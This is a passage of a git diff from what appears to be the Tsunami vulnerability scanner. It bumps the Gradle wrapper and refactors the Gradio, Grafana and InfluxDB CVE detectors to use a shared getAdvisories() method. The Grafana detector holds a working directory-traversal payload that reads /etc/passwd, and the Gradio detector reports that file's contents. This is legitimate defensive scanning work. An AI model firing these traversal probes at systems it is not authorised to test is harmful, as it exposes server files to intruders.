b/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.properties b/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/gradio_cve_2023_51449/gradlew b/community/detectors/gradio_cve_2023_51449/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/gradio_cve_2023_51449/gradlew +++ b/community/detectors/gradio_cve_2023_51449/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/gradio_cve_2023_51449/gradlew.bat b/community/detectors/gradio_cve_2023_51449/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/gradio_cve_2023_51449/gradlew.bat +++ b/community/detectors/gradio_cve_2023_51449/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java b/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java index 7352d724f..0922f5024 100644 --- a/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java +++ b/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java @@ -92,6 +92,23 @@ public final class Cve202351449VulnDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_51449")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2023-51449 Gradio File Traversal Vulnerability") + .setRecommendation("Update the Gradio instances to version 4.11.0 or later.") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-51449")) + .setDescription(VULN_DESCRIPTION) + .build()); + } + private HttpResponse sendUploadRequest(NetworkService networkService) throws IOException { String uploadUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + POST_UPLOAD_PATH; @@ -183,17 +200,7 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_51449")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-51449 Gradio File Traversal Vulnerability") - .setRecommendation("Update the Gradio instances to version 4.11.0 or later.") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-51449")) - .setDescription(VULN_DESCRIPTION) + this.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setDescription("Contents of /etc/passwd") diff --git a/community/detectors/gradio_cve_2023_51449/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetectorTest.java b/community/detectors/gradio_cve_2023_51449/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetectorTest.java index 23f2f500c..8a6018602 100644 --- a/community/detectors/gradio_cve_2023_51449/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetectorTest.java +++ b/community/detectors/gradio_cve_2023_51449/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetectorTest.java @@ -30,13 +30,10 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -108,20 +105,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_51449")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-51449 Gradio File Traversal Vulnerability") - .setRecommendation( - "Update the Gradio instances to version 4.11.0 or later.") - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2023-51449")) - .setDescription(Cve202351449VulnDetector.VULN_DESCRIPTION) + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setDescription("Contents of /etc/passwd") diff --git a/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java b/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java index 7dacd7ce7..015395686 100644 --- a/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java +++ b/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java @@ -56,21 +56,22 @@ type = PluginType.VULN_DETECTION, name = "GrafanaArbitraryFileReadingDetector", version = "1.0", - description = "This detector checks for Grafana Pre-Auth Arbitrary File Reading vulnerability " - + "(CVE_2021_43798).", + description = + "This detector checks for Grafana Pre-Auth Arbitrary File Reading vulnerability " + + "(CVE_2021_43798).", author = "threedr3am (qiaoer1320@gmail.com)", - bootstrapModule = GrafanaArbitraryFileReadingDetectorBootstrapModule.class -) + bootstrapModule = GrafanaArbitraryFileReadingDetectorBootstrapModule.class) public class GrafanaArbitraryFileReadingDetector implements VulnDetector { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final String VUL_PATH_FMT = "public/plugins/{plugin}/..%2F..%2F..%2F..%2F.." - + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." - + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." - + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." - + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." - + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." - + "%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"; + private static final String VUL_PATH_FMT = + "public/plugins/{plugin}/..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"; private static final Pattern VULNERABILITY_RESPONSE_PATTERN = Pattern.compile("(root:[x*]:0:0:)"); private static final ImmutableList PLUGINS = ImmutableList.of( @@ -115,8 +116,7 @@ public class GrafanaArbitraryFileReadingDetector implements VulnDetector { "table", "stackdriver", "grafana-azure-monitor-datasource", - "grafana-simple-json-datasource" - ); + "grafana-simple-json-datasource"); private final Clock utcClock; private final HttpClient httpClient; @@ -141,15 +141,35 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_43798")) + .setSeverity(Severity.HIGH) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-43798")) + .setTitle("Grafana Pre-Auth Arbitrary File Reading vulnerability (CVE_2021_43798)") + .setDescription( + "In Grafana 8.0.0 to 8.3.0, there is an endpoint that can be accessed " + + "without authentication. This endpoint has a directory traversal " + + "vulnerability, and any user can read any file on the server " + + "without authentication, causing information leakage.") + .setRecommendation("Update to 8.3.1 version or later.") + .build()); + } + private CheckResult checkUrlWithPlugin(NetworkService networkService) { for (String plugin : PLUGINS) { String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_FMT.replace("{plugin}", plugin); try { - HttpResponse response = httpClient.send( - HttpRequest.get(targetUri).withEmptyHeaders().build(), - networkService); + HttpResponse response = + httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build(), networkService); if (response.status() == HttpStatus.OK && response.bodyString().isPresent()) { String responseBody = response.bodyString().get(); if (VULNERABILITY_RESPONSE_PATTERN.matcher(responseBody).find()) { @@ -163,8 +183,7 @@ private CheckResult checkUrlWithPlugin(NetworkService networkService) { return CheckResult.buildForSecureService(networkService); } - public DetectionReport buildDetectionReport( - TargetInfo targetInfo, CheckResult checkResult) { + public DetectionReport buildDetectionReport(TargetInfo targetInfo, CheckResult checkResult) { NetworkService vulnerableNetworkService = checkResult.networkService(); return DetectionReport.newBuilder() .setTargetInfo(targetInfo) @@ -172,20 +191,8 @@ public DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_43798")) - .setSeverity(Severity.HIGH) - .setTitle("Grafana Pre-Auth Arbitrary File Reading vulnerability (CVE_2021_43798)") - .setDescription( - "In Grafana 8.0.0 to 8.3.0, there is an endpoint that can be accessed " - + "without authentication. This endpoint has a directory traversal " - + "vulnerability, and any user can read any file on the server " - + "without authentication, causing information leakage.") - .setRecommendation("Update to 8.3.1 version or later.") - .addAdditionalDetails(buildAdditionalDetail(checkResult)) - ) + this.getAdvisories().get(0).toBuilder() + .addAdditionalDetails(buildAdditionalDetail(checkResult))) .build(); } diff --git a/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/test/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetectorTest.java b/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/test/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetectorTest.java index 27d7ecbc7..e6b981318 100644 --- a/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/test/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetectorTest.java +++ b/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/test/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetectorTest.java @@ -30,13 +30,10 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -101,21 +98,7 @@ public void detect_whenVulnerable_returnsVulnerability() { Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_43798")) - .setSeverity(Severity.HIGH) - .setTitle( - "Grafana Pre-Auth Arbitrary File Reading vulnerability" - + " (CVE_2021_43798)") - .setDescription( - "In Grafana 8.0.0 to 8.3.0, there is an endpoint that can be " - + "accessed without authentication. This endpoint has a directory " - + "traversal vulnerability, and any user can read any file on the " - + "server without authentication, causing information leakage.") - .setRecommendation("Update to 8.3.1 version or later.") + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.jar b/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.properties b/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/influxdb_cve_2019_20933/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/influxdb_cve_2019_20933/gradlew b/community/detectors/influxdb_cve_2019_20933/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/influxdb_cve_2019_20933/gradlew +++ b/community/detectors/influxdb_cve_2019_20933/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/influxdb_cve_2019_20933/gradlew.bat b/community/detectors/influxdb_cve_2019_20933/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/influxdb_cve_2019_20933/gradlew.bat +++ b/community/detectors/influxdb_cve_2019_20933/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java b/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java index 4beaafa84..93120f7cd 100644 --- a/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java +++ b/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java @@ -35,7 +35,6 @@ import com.google.tsunami.plugin.PluginType; import com.google.tsunami.plugin.VulnDetector; import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.AdditionalDetail; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionReportList.Builder; @@ -43,7 +42,6 @@ import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.Vulnerability; import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; @@ -94,15 +92,50 @@ public DetectionReportList detect( networkService -> { if (isServiceVulnerableByMissingAuth(networkService)) { detectionReport.addDetectionReports( - buildMissingAuthDetectionReport(targetInfo, networkService)); + buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(0))); } else if ((isServiceVulnerableByCve201920933(networkService))) { detectionReport.addDetectionReports( - buildCve201920933DetectionReport(targetInfo, networkService)); + buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(1))); } }); return detectionReport.build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + // Missing authentication for InfluxDB + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("MISSING_AUTHENTICATION_FOR_INFLUX_DB")) + .setSeverity(Severity.CRITICAL) + .setTitle("InfluxDB instance without any authentication") + .setDescription( + "Attacker can access any DB information for this InfluxDB instance because" + + " there are no authentication.") + .setRecommendation( + "Set authentication value to true in InfluxDB setup config file before running" + + " an instance of InfluxDB.") + .build(), + // The instance is vulnerable to CVE-2019-20933. + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2019_20933")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2019-20933")) + .setSeverity(Severity.CRITICAL) + .setTitle("InfluxDB Empty JWT Secret Key Authentication Bypass") + .setDescription( + "InfluxDB before 1.7.6 has an authentication bypass vulnerability because a JWT" + + " token may have an empty SharedSecret (aka shared secret).") + .setRecommendation("Upgrade to higher versions") + .build()); + } + private boolean isServiceVulnerableByCve201920933(NetworkService networkService) { HttpHeaders httpHeaders = @@ -158,63 +191,14 @@ private boolean canExecuteDbQuery(HttpHeaders httpHeaders, NetworkService networ return false; } - private DetectionReport buildCve201920933DetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2019_20933")) - .setSeverity(Severity.CRITICAL) - .setTitle("InfluxDB Empty JWT Secret Key Authentication Bypass") - .setDescription( - "InfluxDB before 1.7.6 has an authentication bypass vulnerability because a JWT" - + " token may have an empty SharedSecret (aka shared secret).") - .setRecommendation("Upgrade to higher versions") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - "Attacker can run arbitrary queries and access database" - + " data")))) - .build(); - } - - private DetectionReport buildMissingAuthDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService, Vulnerability vulnerability) { return DetectionReport.newBuilder() .setTargetInfo(targetInfo) .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("MISSING_AUTHENTICATION_FOR_INFLUX_DB")) - .setSeverity(Severity.CRITICAL) - .setTitle("InfluxDB instance without any authentication") - .setDescription( - "Attacker can access any DB information for this InfluxDB instance because" - + " there are no authentication.") - .setRecommendation( - "Set authentication value to true in InfluxDB setup config file before running" - + " an instance of InfluxDB.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - "Attacker can run arbitrary queries and access database" - + " data")))) + .setVulnerability(vulnerability) .build(); } } diff --git a/community/detectors/influxdb_cve_2019_20933/src/test/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetectorTest.java b/community/detectors/influxdb_cve_2019_20933/src/test/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetectorTest.java index 0bd094fdb..f7ec9cb57 100644 --- a/community/detectors/influxdb_cve_2019_20933/src/test/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetectorTest.java +++ b/community/detectors/influxdb_cve_2019_20933/src/test/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetectorTest.java @@ -28,18 +28,13 @@ import com.google.tsunami.common.net.http.HttpClientModule; import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.AdditionalDetail; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import 